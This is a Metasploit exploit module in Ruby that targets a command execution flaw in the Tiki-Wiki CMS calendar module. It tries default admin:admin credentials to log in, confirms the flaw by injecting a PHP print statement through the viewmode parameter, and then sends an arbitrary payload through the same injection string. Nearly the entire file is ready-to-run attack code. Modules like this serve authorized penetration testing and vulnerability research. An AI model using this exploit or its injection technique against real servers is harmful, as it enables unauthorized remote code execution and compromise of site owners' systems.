## ## This module requires Metasploit: http://metasploit.com/download ## Current source: https://github.com/rapid7/metasploit-framework ### require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Tiki-Wiki CMS Calendar Command Execution', 'Description' => %q( Tiki-Wiki CMS's calendar module contains a remote code execution vulnerability within the viewmode GET parameter. The calendar module is NOT enabled by default. If enabled, the default permissions are set to NOT allow anonymous users to access. Vulnerable versions: <=14.1, <=12.4 LTS, <=9.10 LTS and <=6.14 Verified/Tested against 14.1 ), 'Author' => [ 'h00die <mike@shorebreaksecurity.com>', # module 'Dany Ouellet' # discovery ], 'References' => [ [ 'EDB', '39965' ], [ 'URL', 'https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki'] ], 'License' => MSF_LICENSE, 'Platform' => %w( php ), 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 06 2016' ) ) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The URI of Tiki-Wiki', '/']), OptString.new('USERNAME', [ false, 'Username of a user with calendar access', 'admin']), OptString.new('PASSWORD', [ false, 'Password of a user with calendar access', 'admin']) ], self.class ) end # returns cookie regardless of outcome def authenticate begin # get a cookie to start with res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'tiki-login_scr.php'), 'method' => 'GET' ) cookie = res ? res.get_cookies : '' # if we have creds, login with them vprint_status('Attempting Login') # the bang on the cgi will follow the redirect we receive on a good login res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'tiki-login.php'), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => cookie, 'vars_post' => { 'user' => datastore['USERNAME'], 'pass' => datastore['PASSWORD'], 'login' => '', 'stay_in_ssl_mode_present' => 'y', 'stay_in_ssl_mode' => 'n' } ) # double check auth worked and we got a Log out on the page. # at times I got it to auth, but then it would give permission errors # so we want to try to double check everything is good if res && !res.body =~ /Log out/ fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}") end vprint_good("Login Successful!") return cookie rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end # sends the calendar packet, returns the HTTP response def send_calendar_packet(cookie, data) begin return send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'tiki-calendar.php'), 'method' => 'GET', 'cookie' => cookie, 'vars_get' => { 'viewmode' => "';#{data};$a='" } ) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end # Version numbers are post auth, so we send a print statement w/ # 10 random characters and check for it in the response def check if datastore['USERNAME'] && !datastore['USERNAME'].blank? cookie = authenticate end flag = Rex::Text.rand_text_alpha(10) res = send_calendar_packet(cookie, "print(#{flag})") if res if res.body =~ /You do not have permission to view the calendar/i fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required") elsif res.body =~ />#{flag}</ Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end end def exploit if datastore['USERNAME'] && !datastore['USERNAME'].blank? cookie = authenticate end vprint_status('Sending malicious calendar view packet') res = send_calendar_packet(cookie, payload.encoded) if res && res.body =~ /You do not have permission to view the calendar/i fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required") end end end